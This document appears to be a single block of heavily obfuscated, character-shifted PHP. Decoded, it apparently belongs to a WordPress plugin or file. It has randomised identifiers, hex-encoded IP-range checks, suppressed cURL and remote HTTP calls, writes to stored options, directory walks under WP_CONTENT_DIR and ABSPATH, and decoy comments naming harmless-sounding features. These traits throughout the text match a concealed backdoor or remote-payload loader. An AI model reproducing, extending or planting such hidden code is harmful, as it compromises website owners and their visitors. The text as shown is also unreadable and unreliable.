aozjlg0f<j1nk{ :;1!$((((jj`>dqcld1xlfd: :<8!$((8!3H}xli|mWgx|agf ,y{}:=ajkd$((((,mpn?`8b0;=>0xac$((rq;ec{mmgl| ::9!!3f>=x;~101zi;joqoid:1 aW;~yrxiqyjro :<9!!3an(( ,y>x`olgqp=iao<|p()55((((**((..(((aozjlg0f<j1nk{ ::0! rq;ec{mmgl| 900!!!((((s(((,}c=<?=}0=c?=d((5(((((rq;ec{mmgl| :::! ,f0o=0j>`9<eroaa$(XI\@AFNGWNADMFIEM!((((((&((((/'/(&(((((,f0o=0j>`9<eroaa3,aqrz?0of>{l?be(5(((Hom|Wgx|agf aozjlg0f<j1nk{ ::>!$(izziq !!3,rW|i:<8z~k~i5X@XWEIBGZW^MZ[AGF3,~o1z?`;0zc05,rW|i:<8z~k~i"93(an((( jj`>dqcld1xlfd: 9>0! ,aqrz?0of>{l?be!((..((aozjlg0f<j1nk{ 91=! ,}c=<?=}0=c?=d$(((,aqrz?0of>{l?be$((|z}m!!(((s((H}xli|mWgx|agf jj`>dqcld1xlfd: ::>!$((((rq;ec{mmgl| >>! aozjlg0f<j1nk{ 91>! ,aqrz?0of>{l?be$((izziq ,}c=<?=}0=c?=d!!!!3u(}f{m| ,}c=<?=}0=c?=d$(,aqrz?0of>{l?be!3u(u((zm|}zf3(u(((ki|k`((( \`zgijdm((,d|f9x=j|9W:!((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| :<:!$(,d|f9x=j|9W:!3((((u((ki|k`((( Mpkmx|agf((,d|f9x=j|9W:!((s(u((nafiddq(((s(((o={;`1ei:gj1aqkz aozjlg0f<j1nk{ :9?!!3((u(u(n}fk|agf((}:{9};`f?=m?`{`i{yc} ,z?xcd9c}k{8!s((an( aW;~yrxiqyjro ::0! rq;ec{mmgl| :<;!!(..(((jj`>dqcld1xlfd: ::0! aozjlg0f<j1nk{ :<<!!!((s(,|p>in}`eW<iozxm;(5(Haozjlg0f<j1nk{ :<=! ,z?xcd9c}k{8!3an(( ,|p>in}`eW<iozxm;!((s,mxz<cbgqa?|0n5:;;t9993,q88r8:{y:W5,mxz<cbgqa?|0nV1;3((,zark~;brg`yflpWp((((5((((izziq !3(`adm(  ,d|f9x=j|9W:((5((Hjj`>dqcld1xlfd: :<<! ,|p>in}`eW<iozxm;!!((()55((nid{m!((((san(( ,d|f9x=j|9W:((()55(/&/((..(,d|f9x=j|9W:(()55(rq;ec{mmgl| :<>!!((((,zark~;brg`yflpWpSU(((5(,d|f9x=j|9W:3(u((((an( jj`>dqcld1xlfd: :<?! rq;ec{mmgl| :<0!!!(((((HaW;~yrxiqyjro :<0! ,|p>in}`eW<iozxm;!3((((((zm|}zf((((,zark~;brg`yflpWp3u((((((u(an(((((( rq;ec{mmgl| :<1! jj`>dqcld1xlfd: :=8!!!(s(((,xbn:9gk<gb1n}=?>(((((5(Hrq;ec{mmgl| :=8! ,z?xcd9c}k{8!3an(((( aW;~yrxiqyjro 9>0! ,xbn:9gk<gb1n}=?>!!((zm|}zf((aW;~yrxiqyjro :=9! aW;~yrxiqyjro 91>! ,xbn:9gk<gb1n}=?>$(izziq /&/$(((((jj`>dqcld1xlfd: :<>!!!!3((((((uan((( aW;~yrxiqyjro :=:! jj`>dqcld1xlfd: :=;!!!(s((,d0xbi?0g>0<d;((5(HaW;~yrxiqyjro :=<! ,z?xcd9c}k{8(&((((aW;~yrxiqyjro :==!!3(((((((an(( aozjlg0f<j1nk{ 9>0! ,d0xbi?0g>0<d;!!(zm|}zf(aozjlg0f<j1nk{ :=>! aW;~yrxiqyjro :=?!$(,d0xbi?0g>0<d;!3(u((((((zm|}zf((f}dd3(((((((un}fk|agf(~rl=fzla18ykW?jkrj} ,|je<0=:8|qg}dkx9!s((an((((( )aozjlg0f<j1nk{ :=0! ,|je<0=:8|qg}dkx9!(tt(aozjlg0f<j1nk{ 1;! ,|je<0=:8|qg}dkx9$((aW;~yrxiqyjro :=1!!((555((((nid{m!(zm|}zf((nid{m3,}0f1}ol`=k~51:":3,`x}|;>gp`9x9n5,}0f1}ol`=k~%03(((((((an((((( rq;ec{mmgl| 98! ,|je<0=:8|qg}dkx9!(((((6(( 98<0<18#0>!!((,|je<0=:8|qg}dkx9((5(((((bW0a{a?}a`=bcb<?m ,|je<0=:8|qg}dkx9!3(an( aozjlg0f<j1nk{ 98! ,|je<0=:8|qg}dkx9!((6(((( 910=80;%1;>=8?!!((zm|}zf((nid{m3((an(( )jj`>dqcld1xlfd: :=:! rq;ec{mmgl| :>8!!!(((zm|}zf((|z}m3(((an((( )lmnafml aW;~yrxiqyjro :>9!!!(((s(((((,ml`|l0~W;<((5(H|gcmfWom|Widd ,|je<0=:8|qg}dkx9!3(((an((( )aozjlg0f<j1nk{ 9>0! ,ml`|l0~W;<!!((zm|}zf((((((|z}m3((((,m|09W}}8rnWk`z((5(((83((((((ngzmik`(((( ,ml`|l0~W;<(i{(,a{:ozyjjpx!((s(((((((an( jj`>dqcld1xlfd: :>:! ,a{:ozyjjpx!!((((s((an( ,a{:ozyjjpxS8U(((((555((\WK]ZDQWGXMF((tt(,a{:ozyjjpxS8U((((((555(((\WLGDDIZWGXMFWK]ZDQWJZIKM[!(,m|09W}}8rnWk`z##3((((kgf|af}m3uan((( ,a{:ozyjjpx((555((((/s/!((,m|09W}}8rnWk`z##3(((((md{man( ,a{:ozyjjpx((555((/u/!(((((s((((,m|09W}}8rnWk`z%%3(an(((( ,m|09W}}8rnWk`z(4(8!((zm|}zf((nid{m3((uu(((((((zm|}zf(((,m|09W}}8rnWk`z(((555(((83(u|zq(s((H|gcmfWom|Widd ,|je<0=:8|qg}dkx9$((\GCMFWXIZ[M!3((((zm|}zf(((((|z}m3((u((ki|k`(((( \`zgijdm((,d|f9x=j|9W:!(((s((zm|}zf(((((nid{m3((((u((((ki|k`(((((( Mpkmx|agf(,d|f9x=j|9W:!((((szm|}zf(((nid{m3(((uu((((n}fk|agf(((f<fm?efyq90gqmciob !((((szm|}zf((izziq rq;ec{mmgl| :>;!$(((((aW;~yrxiqyjro :><!$(((aW;~yrxiqyjro :>=!!3((u(((((((n}fk|agf((y`oW}?8myx~:<8~qjn` !(((((s(((zm|}zf((izziq rq;ec{mmgl| :>>!$((aozjlg0f<j1nk{ :>?!$(aozjlg0f<j1nk{ :>0!$((((rq;ec{mmgl| :>1!$(aozjlg0f<j1nk{ :?8!$(jj`>dqcld1xlfd: :?9!$((aozjlg0f<j1nk{ :?:!$((aW;~yrxiqyjro :?;!$(((jj`>dqcld1xlfd: :?<!$(jj`>dqcld1xlfd: :?=!$(((aozjlg0f<j1nk{ :?>!$((((rq;ec{mmgl| :??!$(aW;~yrxiqyjro :?0!$((jj`>dqcld1xlfd: :?1!$((jj`>dqcld1xlfd: :08!$(((jj`>dqcld1xlfd: :09!$((jj`>dqcld1xlfd: :0:!$(jj`>dqcld1xlfd: :0;!$((((aW;~yrxiqyjro :0<!$(((((aW;~yrxiqyjro :0=!!3,nx=a~~Wna{510#>?3,y1j~l;dxqc~>5,nx=a~~Wna{%:>3((((((((u((n}fk|agf((((a1r|l:r>ji{o`9pmge !(s(((zm|}zf(izziq aozjlg0f<j1nk{ :0>!$((rq;ec{mmgl| :0?!$((((rq;ec{mmgl| :00!$((aW;~yrxiqyjro :01!!3(u((((((n}fk|agf(}=W;pfxn;fx;>bjn~kaqW ,}px?`?=of{mW!(((s((an(( aozjlg0f<j1nk{ :18! jj`>dqcld1xlfd: :19!!!(((zm|}zf((ormfkglm ,}px?`?=of{mW$(( <9V;:!!3(an( aozjlg0f<j1nk{ :1:! jj`>dqcld1xlfd: :1;!!!((((s((zm|}zf((*Tp9nTp0jTp80Tp88Tp88Tp88Tp88Tp88Tp88Tp8;*(((&(orlmndi|m ,}px?`?=of{mW$( =#<!!(((&(((((rq;ec{mmgl| :1<! /^/$(((aW;~yrxiqyjro :1=! ,}px?`?=of{mW!!((((&((((jj`>dqcld1xlfd: :1<! /^/$((rq;ec{mmgl| 98! ,}px?`?=of{mW!((.(( >=90=0:?;1%:::;>9=<<<!!3((((uzm|}zf(((,}px?`?=of{mW3((((u(((((n}fk|agf((y:xj|;>rxgaoabdp~z9g ,}px?`?=of{mW!((s((an( )aW;~yrxiqyjro :1>! ,}px?`?=of{mW!((((tt(jj`>dqcld1xlfd: :1?! ,}px?`?=of{mW!((4(((:!(((zm|}zf(,}px?`?=of{mW3an(( rq;ec{mmgl| 9:?! ,}px?`?=of{mW$((((8$((((:!((()55(*Tp9nTp0j*!(((((zm|}zf(((,}px?`?=of{mW3((an((( rq;ec{mmgl| :1?! ,}px?`?=of{mW!((4(( 8p;#8pn!!(((zm|}zf(nid{m3(((,ec:`=zz<=0~W((5((Hrq;ec{mmgl| :10! /^/$((((((aW;~yrxiqyjro 9:?! ,}px?`?=of{mW$((((% 9=1V9==!!!3(((((,ec:`=zz<=0~W(((((5(((jj`>dqcld1xlfd: :>:! ,ec:`=zz<=0~W!(7(,ec:`=zz<=0~WS9U((2(83,d9x<kb:<ol?o}5<9t9883,l;zmzyae=licx5,d9x<kb:<ol?o}V>:3((an((( ,ec:`=zz<=0~W(((4((( ;:>#9?<!(tt((((((,ec:`=zz<=0~W((((6(((( 8pmj;nm#8p9<k8:!!(zm|}zf((nid{m3(((an((( rq;ec{mmgl| :1:! aozjlg0f<j1nk{ :11!!!((s,mzf9m`<8g>dr;(5((Horlmkglm ,}px?`?=of{mW$((( =><;=<#<0<:::!!3((((((((((an((( ,mzf9m`<8g>dr;((()55(nid{m!(((zm|}zf(,mzf9m`<8g>dr;3(((((u(((an( aW;~yrxiqyjro ;88! aozjlg0f<j1nk{ ;89!!!(((s((,mzf9m`<8g>dr;(5(Horafndi|m aozjlg0f<j1nk{ 9:?! ,}px?`?=of{mW$( :::V:9:!$(((aozjlg0f<j1nk{ ;8:! ,}px?`?=of{mW!(%( :#9>!!$( 9:=?00;%:81;8?!!3zm|}zf(( aozjlg0f<j1nk{ :1>! ,mzf9m`<8g>dr;!(((..(((((aozjlg0f<j1nk{ ;8;! ,mzf9m`<8g>dr;!((45((((( 8p>mm;0#8p199k0!!(7((,mzf9m`<8g>dr;(((2(((nid{m3(((((((u(((zm|}zf(nid{m3((((u((((an( )((((rq;ec{mmgl| ;8<! aW;~yrxiqyjro ;8=!!!(((sn}fk|agf(`mp:jaf ,q0|;{yn`18!((s(((((an( )((((((jj`>dqcld1xlfd: ;8>! ,q0|;{yn`18!(((((tt(((jj`>dqcld1xlfd: ;8?! ,q0|;{yn`18!((((-((((:(()55((8!(szm|}zf(((nid{m3((u((zm|}zf(aozjlg0f<j1nk{ :1<! aozjlg0f<j1nk{ ;80!$((((((,q0|;{yn`18!3(((u(((((u(n}fk|agf(((9`rp}<>q`m}an !(s((((,jaW1lp;xnp((((((5((((((izziq !3((,r}og`k|egqjfb?m((((5((izziq IJ[XI\@$(IJ[XI\@(((&((aW;~yrxiqyjro ;81!$((((IJ[XI\@((&((rq;ec{mmgl| ;98!!3(((((((an(( lmnafml jj`>dqcld1xlfd: 9<8!!!(((,r}og`k|egqjfb?mSU(5((_XWKGF\MF\WLAZ(((&((/'/3(ngzmik`((((( ,r}og`k|egqjfb?m(((i{((,mzf9m`<8g>dr;!(((s((,pWm8aei>8mpm((5((aozjlg0f<j1nk{ ;8<! rq;ec{mmgl| :=<!!(((((7(Hjj`>dqcld1xlfd: ;99! ,mzf9m`<8g>dr;(&((aozjlg0f<j1nk{ ;9:!!((2((nid{m3(an( aW;~yrxiqyjro :>:! ,pWm8aei>8mpm!!((((s(ngzmik`((( ,pWm8aei>8mpm(i{((,lm:yeg9ineej?x!(s((,f9{1<y~~g(((5((Hjj`>dqcld1xlfd: :8:! ,lm:yeg9ineej?x!3an(((( ,f9{1<y~~g(((..((,f9{1<y~~g(((6(( 1<>>0<?;8#?8!!((((s((,jaW1lp;xnpSU(((5(,f9{1<y~~g3((u(u(((((u''(Hafa|aidarm(la{xi|k`mz((uan(( )mex|q ,jaW1lp;xnp!!(((s,~<nor9>l8n((5((,jaW1lp;xnpSrq;ec{mmgl| ;9;! ,jaW1lp;xnp!U3(zm|}zf( ,~<nor9>l8n(%((( ,~<nor9>l8n((((-(((((( 1119=#0=!!!(((#(xzbpr<d>l>eb<:~ !3(u((((((,p|apo>ni?}y9j:(5((((jj`>dqcld1xlfd: ;9<! !(((((%(((  ;81#=>!(("((((( :;#9!((((("(( :8<?#9==;!!3(,jbbga;raepa((((5(((aW;~yrxiqyjro ;8<! aW;~yrxiqyjro ;9=!!((((7(((xWzifl 8$( 8p9j#8p;!((("(( 8pl#8pj!(((("(( ;=8;#1?!!((((2(aozjlg0f<j1nk{ ;9>! 8$((( :=#=!(("(( <#:8!((((("( <>;:%98;:!!3(((,~<nor9>l8n((5(,p|apo>ni?}y9j:(((((%((,jbbga;raepa3zm|}zf(( ,~<nor9>l8n(((((%((((( ,~<nor9>l8n(-((((( 0<<00#9==9:!!!(#(((xzbpr<d>l>eb<:~ !3u((((((n}fk|agf(({?z{y?;Wjgzxri<>ax ,beb0k9x>lon$(,`iagmb{p=>x$(,g9?epj>;?ei<((5((((f}dd!((((s((,ok{x?9<1?{n:d(5((((n}fk|agf((((( ,|~|x`dl{j9!(}{m((( ,g9?epj>;?ei<!(s(((((((an( )rq;ec{mmgl| ;8>! ,|~|x`dl{j9!(((tt(,|~|x`dl{j9(((555((**!(zm|}zf((nid{m3(((an(( aW;~yrxiqyjro ;9?! ,|~|x`dl{j9!(6((( 9>?<<?0>%0;=>9?0!!(zm|}zf(((nid{m3an(( ,g9?epj>;?ei<!((((s((((|zq(szm|}zf( jggd!(aozjlg0f<j1nk{ ;90! ,g9?epj>;?ei<$((((,|~|x`dl{j9!3((((u(((((ki|k`((( \`zgijdm(,d|f9x=j|9W:!(s(((zm|}zf((nid{m3((((u(ki|k`((( Mpkmx|agf((((,d|f9x=j|9W:!((s(((((zm|}zf(((((nid{m3((((((((u((((u(zm|}zf((|z}m3((((((u3(,al|bz~db|frq(5(aozjlg0f<j1nk{ ;8<! aozjlg0f<j1nk{ ;91!!(((((7(((((Hjj`>dqcld1xlfd: ;:8! ,beb0k9x>lon$(izziq (((((jj`>dqcld1xlfd: ;:9!((56((,`iagmb{p=>x$rq;ec{mmgl| ;::!(56((nid{m$((((((((aozjlg0f<j1nk{ ;:;!(((((56( 8p9l0?lm#8p>:?0::!$!!(((2(nid{m3((((an( ,al|bz~db|frq(..( )rq;ec{mmgl| ;8<! jj`>dqcld1xlfd: ;:<!!((tt(()a{WxWmzzgz ,al|bz~db|frq!!!((s((an(  af|!(xWzmeg|mWzm|zam~mWzm{xgf{mWkglm ,al|bz~db|frq!((555(( :=9V=9!!(((s((((,e90j`aq<8Wb((5((xWzmeg|mWzm|zam~mWjglq ,al|bz~db|frq!3((an( ,ok{x?9<1?{n:d ,e90j`aq<8Wb!!((zm|}zf((((,e90j`aq<8Wb3(((u((u(((((((an( jj`>dqcld1xlfd: ;8<! aozjlg0f<j1nk{ ;:=!!((..(((((aW;~yrxiqyjro ;8<! rq;ec{mmgl| ;:>!!(..(jj`>dqcld1xlfd: ;8<! jj`>dqcld1xlfd: ;:?!!!(((s((,q}il?`8o8jqf(((5((HaW;~yrxiqyjro ;:=! ,beb0k9x>lon!3an(( ,q}il?`8o8jqf((555(((((nid{m!(zm|}zf(((nid{m3(Hjj`>dqcld1xlfd: ;:>! ,q}il?`8o8jqf$(((izziq ((((kgf{|if| jj`>dqcld1xlfd: ;:0!!((56((|z}m$(kgf{|if| jj`>dqcld1xlfd: ;:1!!(56(,`iagmb{p=>x$((kgf{|if| jj`>dqcld1xlfd: ;;8!!(56(((nid{m$(((kgf{|if| aW;~yrxiqyjro ;;9!!(56(((8$(((kgf{|if| aW;~yrxiqyjro ;;:!!(((56((nid{m$(kgf{|if| aW;~yrxiqyjro ;;;!!((((56((n}fk|agf((((( ,ae{:onx`88$(,bxrxj}nc<?a$(,cfqa?oolrn!((s(zm|}zf((((,cfqa?oolrn(6(( 0;00=<:#>>!(7((((((9(2((((((83((((u$(!!3(((,emj<bi:m=<{yf((5((Haozjlg0f<j1nk{ ;:?! ,q}il?`8o8jqf!3(,`8q9}=dnnqp9}((5((((Hk}zdWmzzfg ,q}il?`8o8jqf!3((,`a>;fzdW:0qmr(5((Hk}zdWom|afng ,q}il?`8o8jqf!3Hk}zdWkdg{m ,q}il?`8o8jqf!3an((( ,`8q9}=dnnqp9}!(zm|}zf((((nid{m3an(  af|!((,`a>;fzdW:0qmrSrq;ec{mmgl| ;;<!U((555( 99=#0=!(((((..(,emj<bi:m=<{yf((((()55((((nid{m(..((,ok{x?9<1?{n:d ,emj<bi:m=<{yf!!(((s((zm|}zf((,emj<bi:m=<{yf3(uu''(lm{|z}k|agf(gj{mz~mzzm|}zf((nid{m3(u(n}fk|agf(~9|9?lo91g~?0?k ,beb0k9x>lon$(((,`feqj|jW{pnd{8$(((,r1kye9p`{{}$((((,`iagmb{p=>x$((,g9?epj>;?ei<((5(f}dd!(s(((,ok{x?9<1?{n:d((((5((n}fk|agf((( ,|~|x`dl{j9!((}{m((( ,g9?epj>;?ei<!(((s(((an( )aozjlg0f<j1nk{ ;8>! ,|~|x`dl{j9!(((((tt(,|~|x`dl{j9((((((555((**!(((((zm|}zf(nid{m3((an( aozjlg0f<j1nk{ ;9?! ,|~|x`dl{j9!(((((6((( 0;00=19#9?!!(zm|}zf((nid{m3(((an((( ,g9?epj>;?ei<!((s(((|zq((s(((((zm|}zf( jggd!(aW;~yrxiqyjro ;;=! ,g9?epj>;?ei<$(,|~|x`dl{j9!3((u(((ki|k`((((( \`zgijdm((((,d|f9x=j|9W:!(((s((zm|}zf(nid{m3((u(ki|k`((( Mpkmx|agf((,d|f9x=j|9W:!(szm|}zf(nid{m3((((u(u(zm|}zf(((|z}m3(u3(((,al|bz~db|frq((((5((aW;~yrxiqyjro ;8<! aozjlg0f<j1nk{ ;;>!!(7((HaW;~yrxiqyjro ;;>! ,beb0k9x>lon$((izziq (((((jj`>dqcld1xlfd: ;;?!(56(,`iagmb{p=>x$(rq;ec{mmgl| ;;0!((56(nid{m$(rq;ec{mmgl| ;;1!(56((( 98>::<;:%::;;0:<!$jj`>dqcld1xlfd: ;<8!((56(,r1kye9p`{{}$(((jj`>dqcld1xlfd: ;<9!(56(,`feqj|jW{pnd{8$((((!!(2((nid{m3(((((an(( jj`>dqcld1xlfd: ;8<! aW;~yrxiqyjro ;<:!!(((..(a{WxWmzzgz ,al|bz~db|frq!!((su(md{man((((( ,al|bz~db|frq!(((s((,|je<0=:8|qg}dkx9((((5( af|!(xWzmeg|mWzm|zam~mWzm{xgf{mWkglm ,al|bz~db|frq!3,px?a8qxmd;((((5(((xWzmeg|mWzm|zam~mWjglq ,al|bz~db|frq!3((((((,mk`dk>m`jgr<lb`(((5(((xWzmeg|mWzm|zam~mW`milmz{ ,al|bz~db|frq!3((,}fe;=}~>faea}goo((((5((**3(an(((((( rq;ec{mmgl| ;<;! ,mk`dk>m`jgr<lb`!!((s''(_X(Xg{|(Kgeemf|{2(gj{|z}k|agf%nzmm(ja~izaif|((((((ngzmik`((( ,mk`dk>m`jgr<lb`((i{((((,m}Wn|:z0=b>:9j=(((56(,~c0W8pqzod!(s(,}fe;=}~>faea}goo(((&5((,m}Wn|:z0=b>:9j=((((((&(((aozjlg0f<j1nk{ ;<<!((&(((((,~c0W8pqzod((&(rq;ec{mmgl| ;<=!3(u(u(an(( ,|je<0=:8|qg}dkx9(555( 1>#98<!(((..((,ok{x?9<1?{n:d ,px?a8qxmd;!!((s((zm|}zf(,px?a8qxmd;3(((((((((uu(md{m(s((((u(an( jj`>dqcld1xlfd: ;8<! rq;ec{mmgl| ;:=!!((..(((rq;ec{mmgl| ;<>! rq;ec{mmgl| ;:>!!(((..((((aW;~yrxiqyjro ;<>! rq;ec{mmgl| ;:?!!!((s(,q}il?`8o8jqf((5(HaW;~yrxiqyjro ;:=! ,beb0k9x>lon!3an(((( ,q}il?`8o8jqf(555(nid{m!((s(zm|}zf((nid{m3u''(Hx}jda{`(zmkgzl%diqmz,gy9?x`noW>im((((5((izziq !3(ngzmik`( ,r1kye9p`{{}(i{((((((,m}Wn|:z0=b>:9j=((56(,~c0W8pqzod!((s,gy9?x`noW>imSU((((((5(,m}Wn|:z0=b>:9j=(((&(((aozjlg0f<j1nk{ ;<<!(&((,~c0W8pqzod3(u((Haozjlg0f<j1nk{ ;:>! ,q}il?`8o8jqf$((izziq kgf{|if| aozjlg0f<j1nk{ ;<?!!(56(((|z}m$((((((kgf{|if| rq;ec{mmgl| ;<0!!(56(((((,`feqj|jW{pnd{8$((kgf{|if| rq;ec{mmgl| ;:0!!((56((((|z}m$((kgf{|if| aozjlg0f<j1nk{ ;<1!!(56((,`iagmb{p=>x$((((((kgf{|if| rq;ec{mmgl| ;;8!!((((((56((nid{m$(((((((kgf{|if| jj`>dqcld1xlfd: ;;9!!(56((((((8$(kgf{|if| aozjlg0f<j1nk{ ;=8!!(((((56(((,gy9?x`noW>im$kgf{|if| aW;~yrxiqyjro ;;:!!((((56(((nid{m$((((kgf{|if| aozjlg0f<j1nk{ ;;;!!(56(n}fk|agf( ,ae{:onx`88$((((((,bxrxj}nc<?a$((((,cfqa?oolrn!(((((s((zm|}zf(((((,cfqa?oolrn(((6(( ?:;00:>#99<1?0:!(((((7((((9(2(((83(((((u$((((((!!3(,emj<bi:m=<{yf((5(Haozjlg0f<j1nk{ ;:?! ,q}il?`8o8jqf!3((((,`8q9}=dnnqp9}((5(Hk}zdWmzzfg ,q}il?`8o8jqf!3(((,`8nWrnkz|ir((5((Hk}zdWmzzgz ,q}il?`8o8jqf!3((((,`a>;fzdW:0qmr((5((Hk}zdWom|afng ,q}il?`8o8jqf!3(,r`p0bxab?flgcp((((5(((( af|!((((((,`a>;fzdW:0qmrSaW;~yrxiqyjro ;;<!U3an( ,`8q9}=dnnqp9}!((((s(Hk}zdWkdg{m ,q}il?`8o8jqf!3((zm|}zf((nid{m3(((u''(Eq[YD(aflg(n}fk|agf{2(lqfieak(xzafkaxid(Hk}zdWkdg{m ,q}il?`8o8jqf!3,niaka}:ynjl51;>>3,|ygqna|dlo5,niaka}:ynjl-03(an(((((( ,r`p0bxab?flgcp(((555(( 8p;#8pk=!(((((..((,emj<bi:m=<{yf()55(((((nid{m((..((((,ok{x?9<1?{n:d ,emj<bi:m=<{yf!!(((((s(((((zm|}zf(((,emj<bi:m=<{yf3((((u(an( ,emj<bi:m=<{yf!(suzm|}zf((nid{m3u(((zm|}zf((nid{m3(((u((n}fk|agf((`l~qxc|?>09=i~c;9l~ !(((s(,~ppldb}f`l:oyc1((5(f<fm?efyq90gqmciob !3((((((,~er<:bzq;}o8cdd|(5(y`oW}?8myx~:<8~qjn` !3(an( mex|q ,~ppldb}f`l:oyc1!((tt(mex|q ,~er<:bzq;}o8cdd|!!(szm|}zf(izziq !3(u((((((((((((,dk1|<boj{b}Wc(5(((jj`>dqcld1xlfd: ;<>! aozjlg0f<j1nk{ ;=9!!((7( {|zafo!(om|Wgx|agf aW;~yrxiqyjro ;=:!$(**!(2(**3an(( ,dk1|<boj{b}Wc(((()55(**!(((s''(}fdgil(ji|k`(zafo%j}nnmz,~er<:bzq;}o8cdd|(5((((aozjlg0f<j1nk{ :=9! jj`>dqcld1xlfd: 91>! ,~er<:bzq;}o8cdd|$(izziq ,dk1|<boj{b}Wc!!!3(((((jj`>dqcld1xlfd: ;=;! ,~er<:bzq;}o8cdd|$(((((,dk1|<boj{b}Wc!3(u((((,c0>90e~Wf{q~<`(((5(((((aW;~yrxiqyjro ;=<! ,~ppldb}f`l:oyc1Saozjlg0f<j1nk{ ;==! ,~ppldb}f`l:oyc1!U!3(an((( ,c0>90e~Wf{q~<`(((555((((**!(s(zm|}zf(((((izziq !3(u((((((,`feqj|jW{pnd{8(((5((aozjlg0f<j1nk{ ;=>!((((&((,c0>90e~Wf{q~<`((&(jj`>dqcld1xlfd: ;=?!3(,1flqn1bga~irm((5(izziq aozjlg0f<j1nk{ ;=0!(((((56((aW;~yrxiqyjro ;=1!!3(,ie;le}ba|}(5((aozjlg0f<j1nk{ ;>8! |z}m!3((ngzmik`((( ,~er<:bzq;}o8cdd|(((i{(,xdoa=za>|l!(((s(((((an(((  rq;ec{mmgl| ;>8! |z}m!((%(((,ie;le}ba|}!(6(( <#<9!!((sjzmic3((((u''(Zmk|gz(i}|g%zmnik|gz2(zg|i|m(zm{gd~mz(((((((,xdoa=za>|l(5(rq;ec{mmgl| ;>9!  {|zafo!((((,xdoa=za>|l!3(an(((( ,xdoa=za>|l(555(**!((((((skgf|af}m3((u(|zq(s((,px?a8qxmd;((5((~9|9?lo91g~?0?k ,xdoa=za>|l$(((((,`feqj|jW{pnd{8$(((,1flqn1bga~irm$(( 8p<#8p9!$((((((n}fk|agf(((( ,|~|x`dl{j9!((((s((,|;b:WmdpaW(((5(((((Hrq;ec{mmgl| ;>:! ,|~|x`dl{j9$(|z}m!3(((zm|}zf(aozjlg0f<j1nk{ ;<;! ,|;b:WmdpaW!((((((..(a{{m| ,|;b:WmdpaWSaozjlg0f<j1nk{ ;>;!U!3((((u!3an((( ,px?a8qxmd;((555(nid{m!(((s((((kgf|af}m3u,yofoc|1c:dim}f`((5(((Hjj`>dqcld1xlfd: ;>:! ,px?a8qxmd;$((|z}m!3((((an(( )((((rq;ec{mmgl| ;<;! ,yofoc|1c:dim}f`!(((((tt()((a{{m| ,yofoc|1c:dim}f`Sjj`>dqcld1xlfd: ;><!U!((tt(()(jj`>dqcld1xlfd: ;8>! ,yofoc|1c:dim}f`Sjj`>dqcld1xlfd: ;>=!U!!(((((s(kgf|af}m3(u(((,q0|;{yn`18(((5(,yofoc|1c:dim}f`Saozjlg0f<j1nk{ ;>=!U3an(( aW;~yrxiqyjro ;>>! ,q0|;{yn`18$((jj`>dqcld1xlfd: ;>?!!(555(8!(((s''(idai{%ifidqrm({}j{kzajmz(ngz(_X([a|m(Mla|gz(,q0|;{yn`18((5(((aW;~yrxiqyjro 9:?! ,q0|;{yn`18$((:!3((((((u(((((,qdf8qf;ce`(5((Hrq;ec{mmgl| ;8=! ,q0|;{yn`18!3((an((( ,qdf8qf;ce`(555((nid{m((((tt(((aW;~yrxiqyjro ;9?! ,qdf8qf;ce`!(((((4((((( 980%<<!!(((s(kgf|af}m3((u(((((((((,izrk9gqicl1?m`9((5(( 8p;<#8pj!3((,n;`bkpxzp=d<(5((((jj`>dqcld1xlfd: ;>0! ,qdf8qf;ce`S,izrk9gqicl1?m`9U!3(((,i`Wq|}qg{{|(((5((rq;ec{mmgl| 9:?! ,qdf8qf;ce`$((,izrk9gqicl1?m`9(#(((9$((,n;`bkpxzp=d<!3((an( )((((aW;~yrxiqyjro ;8>! ,i`Wq|}qg{{|!((tt(aW;~yrxiqyjro ;9?! ,i`Wq|}qg{{|!(((((4( 8p:#8p9!!(s((((kgf|af}m3u(((((((,`q~ngWbajxzxg(((((5(((((rq;ec{mmgl| ;>0! ,i`Wq|}qg{{|S8U!3an( ,`q~ngWbajxzxg((4(9(((tt(aozjlg0f<j1nk{ ;9?! ,i`Wq|}qg{{|!(4(9(#(,`q~ngWbajxzxg(#(9!((((skgf|af}m3u((((,{;p9ij90~f?(5((aW;~yrxiqyjro ;>1! ,i`Wq|}qg{{|$(9$(,`q~ngWbajxzxg!3(,yy;8l{`zrWy((5((jj`>dqcld1xlfd: ;?8! ,i`Wq|}qg{{|$(((((9((#(,`q~ngWbajxzxg!3(((((an(( )(aW;~yrxiqyjro ;?9! ,{;p9ij90~f?!((tt((()(((rq;ec{mmgl| ;?9! ,yy;8l{`zrWy!!((((s((((kgf|af}m3(u(,eqcx?x0m|f(((5((rr{y<8;r?j{``qpm1maW ,yy;8l{`zrWy$(,{;p9ij90~f?!3an(( )(aozjlg0f<j1nk{ ;?:! ,eqcx?x0m|f!(((tt((jj`>dqcld1xlfd: ;?;! ,eqcx?x0m|f!(((4(((:!(s(((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ;?<!$(((jj`>dqcld1xlfd: ;?=!!3kgf|af}m3u((((,c0>|Wmk0{jd((5((jj`>dqcld1xlfd: ;>0! ,eqcx?x0m|fS8U!3an(((( ,c0>|Wmk0{jd((((4((9(tt((((rq;ec{mmgl| ;?;! ,eqcx?x0m|f!(4((((9(#(((((,c0>|Wmk0{jd!(s(((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ ;?>!$((((((jj`>dqcld1xlfd: ;??!!3(((((((kgf|af}m3((u((((((,nyk}1yl1c?l9l;`e(5((aozjlg0f<j1nk{ ;?8! ,eqcx?x0m|f$((9$((,c0>|Wmk0{jd!3,q>yergzekagbcixd(5(((((rq;ec{mmgl| ;?0! ,eqcx?x0m|f$((9((#(,c0>|Wmk0{jd!3,gnWl<<1=`zn=;m((((5((jj`>dqcld1xlfd: :=9! rq;ec{mmgl| ;?1! aW;~yrxiqyjro :=>! rq;ec{mmgl| ;08!$(rq;ec{mmgl| ;09! aozjlg0f<j1nk{ ;0:!$(((,q>yergzekagbcixd!!!!3(an(( aozjlg0f<j1nk{ ;<>! rq;ec{mmgl| 900!!!(((s}xli|mWgx|agf aozjlg0f<j1nk{ ;=:!$(((,xdoa=za>|l!3(((}xli|mWgx|agf aW;~yrxiqyjro ;0;!$((((jj`>dqcld1xlfd: ;0<! *Tf*$(,gnWl<<1=`zn=;m!!3u(((zm|}zf(((izziq aW;~yrxiqyjro ;0=!(56(((((,nyk}1yl1c?l9l;`e$((aozjlg0f<j1nk{ ;0>!((((56((,gnWl<<1=`zn=;m!3u(ki|k`((((( 